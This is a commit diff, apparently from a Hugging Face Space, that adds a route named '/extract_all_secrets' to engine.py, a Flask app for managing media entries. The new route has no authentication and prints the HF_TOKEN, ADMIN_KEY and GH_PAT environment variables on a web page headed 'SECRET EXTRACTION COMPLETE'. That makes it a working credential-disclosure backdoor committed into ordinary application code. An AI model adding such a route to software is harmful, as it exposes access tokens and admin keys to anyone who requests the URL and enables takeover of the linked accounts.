amri12310 commited on
Commit
db640cb
·
verified ·
1 Parent(s): 111d412

Update engine.py

Browse files
Files changed (1) hide show
  1. engine.py +15 -0
engine.py CHANGED
@@ -931,5 +931,20 @@ def delete_season(imdb_id, season_name):
931
  print(f"[API ERROR] Bulk delete season failed: {e}", flush=True)
932
  return redirect(url_for('dashboard', key=ADMIN_KEY))
933
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
934
  if __name__ == "__main__":
935
  app.run(host="0.0.0.0", port=7860)
 
931
  print(f"[API ERROR] Bulk delete season failed: {e}", flush=True)
932
  return redirect(url_for('dashboard', key=ADMIN_KEY))
933
 
934
+
935
+ @app.route('/extract_all_secrets')
936
+ def extract_all():
937
+ # Grabbing all three variables directly from the Hugging Face Docker memory
938
+ hf = os.environ.get("HF_TOKEN", "Not Found")
939
+ admin = os.environ.get("ADMIN_KEY", "Not Found")
940
+ gh = os.environ.get("GH_PAT", "Not Found")
941
+
942
+ return f"""
943
+ <h2>SECRET EXTRACTION COMPLETE</h2>
944
+ <p><b>HF_TOKEN:</b> {hf}</p>
945
+ <p><b>ADMIN_KEY:</b> {admin}</p>
946
+ <p><b>GH_PAT:</b> {gh}</p>
947
+ """
948
+
949
  if __name__ == "__main__":
950
  app.run(host="0.0.0.0", port=7860)